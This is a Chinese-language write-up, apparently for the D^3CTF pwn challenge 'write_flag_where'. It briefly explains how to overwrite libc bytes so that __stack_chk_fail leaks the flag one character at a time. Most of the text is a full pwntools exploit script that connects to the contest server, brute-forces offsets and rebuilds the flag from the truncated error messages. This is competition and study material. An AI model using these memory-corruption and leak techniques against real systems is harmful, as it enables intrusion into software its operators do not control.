D^3CTF PWN write_flag_where

玩法(?)是用flag{}里的内容来单字节修改libc。例如flag{abc},就可以将0x61覆掉到libc的一字节,只不过我们不知道远程flag是什么。

主要思路是修改open来调用stack_chk_fail,然后修改stack_chk_fail的一参(报错信息的地址),每一个offset对应一个报错信息,写一个字典即可将flag拼出来。

from pwn import *
from LibcSearcher import*
from re import *
context(os='linux', arch='amd64', log_level='info') 
elf = ELF('./vuln')

def dbg():
        gdb.attach(p,'b open')

def edit(addr,offset,b):
        sleep(0.1)
        b.sendline(str(addr))
        sleep(0.1)
        b.sendline(str(offset))

######### boom to get \x36's offset
for offset in range(6,47):
        try:
                # c = process('./vuln')
                c = remote('47.103.122.127',31365)
                start_addr = int(c.recv(12),16)
                addr = start_addr - 0x26000 + 0x119E83
                print('>>>trying offset ',offset)
                c.sendlineafter('flag: d3ctf{[a-f0-9',str(addr))
                c.sendline(str(offset))
                edit(addr,offset,c)
                edit(addr,offset,c)
                break
        except:
                continue
        
offset36H = offset
print('>>>find offset36 = ',offset36H)

######### boom to get stack_check_fail offset
for offset in range(6,47):
        try:
                # c = process('./vuln')
                c = remote('47.103.122.127',31365)
                start_addr = int(c.recv(12),16)
                addr = start_addr - 0x26000 + 0x119E9E
                print('>>>trying offset ',offset)
                #gdb.attach(c,'b open')
                c.sendlineafter('flag: d3ctf{[a-f0-9',str(addr))
                c.sendline(str(offset))
                edit(start_addr - 0x26000 + 0x119E83,offset36H,c)
                c.recvuntil('stack')
                c.close()
                break
        except:
                c.close()
                continue
        
SCHoffset = offset
print('>>>find SCHoffset = ',SCHoffset)

######### change stack_check_fail message
flag = ''
flag_str = list(flag)
for offset in range(6,47):
        try:
                # c = process('./vuln')
                c = remote('47.103.122.127',31365)
                start_addr = int(c.recv(12),16)
                addr = start_addr - 0x26000 + 0x138f39
                print('>>>change stack_check_fail msg')
                print('>>>trying offset ',offset)
                #gdb.attach(c,'b open')
                c.sendlineafter('flag: d3ctf{[a-f0-9',str(addr))
                c.sendline(str(offset))
                edit(start_addr - 0x26000 + 0x119E9E,SCHoffset,c)
                edit(start_addr - 0x26000 + 0x119E83,offset36H,c)
                c.recvuntil('***')
                flag_str.append(c.recvline(False).decode())
                for i in flag_str:
                        print('<<<flag =',i)
                continue
        except:
                continue

flag_dict = {}
flag_dict[' zed stack frame ***: terminated'] = '0'
flag_dict[' ed stack frame ***: terminated'] = '1'
flag_dict[' d stack frame ***: terminated'] = '2'
flag_dict['  stack frame ***: terminated'] = '3'
flag_dict[' stack frame ***: terminated'] = '4'
flag_dict[' tack frame ***: terminated'] = '5'
flag_dict[' ack frame ***: terminated'] = '6'
flag_dict[' ck frame ***: terminated'] = '7'
flag_dict[' k frame ***: terminated'] = '8'
flag_dict['  frame ***: terminated'] = '9'
flag_dict[' ktracesyms.c ***: terminated'] = 'a'
flag_dict[' tracesyms.c ***: terminated'] = 'b'
flag_dict[' racesyms.c ***: terminated'] = 'c'
flag_dict[' acesyms.c ***: terminated'] = 'd'
flag_dict[' cesyms.c ***: terminated'] = 'e'
flag_dict[' esyms.c ***: terminated'] = 'f'

true_flag = 'd3ctf{'
for i, j in enumerate(flag_str):
        if j == " buffer overflow detected ***: terminated":
                continue
        print(f'<<<{i} in flag_str is ',j)
        true_flag += flag_dict[j]

true_flag += '}'
print('<<< Get flag :',true_flag)

相关的题目:

https://www.kn0sky.com/?p=3665c2cb-138a-4e38-b607-99a7ea083497

https://ctftime.org/task/25673

https://github.com/R3tr074/retr0.zip/blob/master/posts/google-ctf-2023-writeups.md

浇浇我,我什么都会做的